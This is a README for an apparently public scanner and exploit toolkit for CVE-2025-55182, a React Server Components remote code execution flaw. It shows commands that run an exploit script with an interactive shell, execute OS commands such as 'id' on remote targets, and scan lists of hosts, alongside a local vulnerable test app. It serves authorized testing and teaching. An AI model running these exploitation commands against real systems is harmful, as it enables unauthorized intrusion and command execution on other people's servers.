CVE-2025-55182 - React Server Components RCE Scanner

A comprehensive security testing toolkit for CVE-2025-55182, a critical pre-authentication remote code execution vulnerability in React Server Components.

---

🎓 NEW: Complete Educational Guide Available!

Want to understand this vulnerability 100%?

📖 Read our Complete Technical Analysis - Everything you need to know:

• Why React runs on the server (not just browser!)
• How the attack works with visual diagrams
• Every line of the exploit explained
• From beginner concepts to advanced exploitation
• No prerequisites required!

Perfect for: Security reports, training materials, threat analysis, or just learning!

---

🔍 Overview

This vulnerability affects React Server Components versions 19.0.0 through 19.2.0, impacting:

• react-server-dom-parcel
• react-server-dom-turbopack
• react-server-dom-webpack

Impact: Unauthenticated attackers can execute arbitrary code remotely through unsafe deserialization of HTTP request payloads to Server Function endpoints.

📚 Want to Understand This Vulnerability Completely?

👉 Read the Complete Technical Analysis - A comprehensive guide covering:

• ✅ Why React runs on the server (not just the browser!)
• ✅ What are Server Components and how they work
• ✅ Step-by-step attack flow with visual diagrams
• ✅ Complete payload breakdown - every line explained
• ✅ Prototype pollution explained from basics to exploitation
• ✅ Real-world proof of concept with examples
• ✅ Detection methods and security indicators

Perfect for:

• 🎓 Learning how modern web vulnerabilities work
• 🔒 Security professionals doing threat analysis
• 👨‍💻 Developers wanting to understand the risk
• 📊 Creating security reports and presentations

No prior knowledge required - starts from basics and builds up to advanced exploitation techniques!

---

⚠️ Legal Disclaimer

FOR EDUCATIONAL AND AUTHORIZED SECURITY TESTING ONLY

This tool is intended solely for:

• Security research
• Authorized penetration testing
• Educational purposes

Warning: Unauthorized access to computer systems is illegal. Users are responsible for complying with all applicable laws and regulations. The authors assume no liability for misuse of this tool.

---

🎯 Quick Start Options

Option 1: Standalone Exploit Script (Fastest)

No dependencies required! Single bash script for quick testing.

👉 EXPLOIT_SCRIPT.md - Standalone script that:

• ✅ Tests vulnerability with one command
• ✅ Provides interactive shell
• ✅ Works without Nuclei or Docker
• ✅ Supports single or multiple targets

# Single target
./exploit-cve-2025-55182.sh http://target.com

# Multiple targets
./exploit-cve-2025-55182.sh -f targets.txt

Option 2: Full Scanner Suite (Most Features)

Complete toolkit with Docker, Web UI, and Nuclei integration. Continue reading below for installation.

---

🚀 Features

Feature	Description
🐳 Docker Support	One-command deployment with Docker Compose
🌐 Web Interface	User-friendly web UI for non-technical users
🔍 Vulnerable Test Environment	Spin up a local vulnerable app for safe testing
🎯 Remote Scanning	Test external targets for vulnerability
⚡ Interactive Shell	Execute OS commands and see results in real-time
📊 Multiple Scan Modes	Detection-only or full exploitation
📝 Detailed Reporting	JSON and text output formats
🔧 Nuclei Integration	Leverage ProjectDiscovery's powerful scanner

---

📋 Prerequisites

Choose your installation method:

Docker (Recommended)

• Docker Desktop installed and running

Local Installation

• Node.js 18+ (for vulnerable app)
• Nuclei scanner (install via Homebrew or Go)
• macOS, Linux, or Windows with WSL2

---

🛠️ Installation

Quick Start with Docker

# Clone repository
git clone https://github.com/StealthMoud/CVE-2025-55182-Scanner.git
cd CVE-2025-55182-Scanner

# Start scanner
docker compose up

# Access web interface at http://localhost:3001

Local Installation

# Clone repository
git clone https://github.com/StealthMoud/CVE-2025-55182-Scanner.git
cd CVE-2025-55182-Scanner

# Install Nuclei (macOS)
brew install nuclei

# Make scripts executable
chmod +x scripts/*.sh

📖 Detailed Setup: See SETUP_GUIDE.md for step-by-step instructions
⚡ Quick Reference: See QUICKSTART.md for common use cases

---

📖 Usage

🐳 Docker Mode

Start Web Interface:

docker compose up
# Open browser: http://localhost:3001

Start with Vulnerable Test App:

docker compose --profile with-vulnerable-app up
# Scanner:       http://localhost:3001
# Vulnerable app: http://localhost:3000

Important for Docker users: When scanning from Docker, use:

• http://host.docker.internal:3000 to scan apps on your host machine
• http://vulnerable-app:3000 to scan the containerized vulnerable app
• https://example.com for external targets

---

🌐 Web Interface

1. Navigate to http://localhost:3001
2. Select mode:
   • Vulnerability Detection - Check if target is vulnerable
   • Command Execution - Execute OS commands on vulnerable targets
3. Enter target URL
4. Check authorization checkbox
5. Click Start Scan or Execute Command
6. View results in real-time

---

💻 Command Line Interface

Test Local Vulnerable Application

Create and test against a local vulnerable app:

# Terminal 1: Start vulnerable app
./scripts/setup-vulnerable-app.sh
# App will run on http://localhost:3000

# Terminal 2: Test it
./scripts/test-local.sh

# Execute custom commands
./scripts/test-local.sh "whoami"
./scripts/test-local.sh "pwd"
./scripts/test-local.sh "ls -la"

Test Remote Target

# Basic scan
./scripts/test-remote.sh https://target.com

# With command execution
./scripts/test-remote.sh https://target.com "id"

Scan Multiple Targets

# Create targets file
cat > targets.txt << EOF
https://target1.com
https://target2.com
https://target3.com
EOF

# Scan all targets
./scripts/test-multiple.sh targets.txt

---

🎯 Advanced: Manual Nuclei Commands

Basic vulnerability detection:

nuclei -t templates/cve-2025-55182.yaml -u http://localhost:3000 -v

Execute custom commands:

nuclei -t templates/cve-2025-55182-interactive.yaml \
  -u http://localhost:3000 \
  -var cmd="whoami" \
  -v

Scan multiple targets:

nuclei -t templates/cve-2025-55182.yaml -l targets.txt -v

---

📁 Project Structure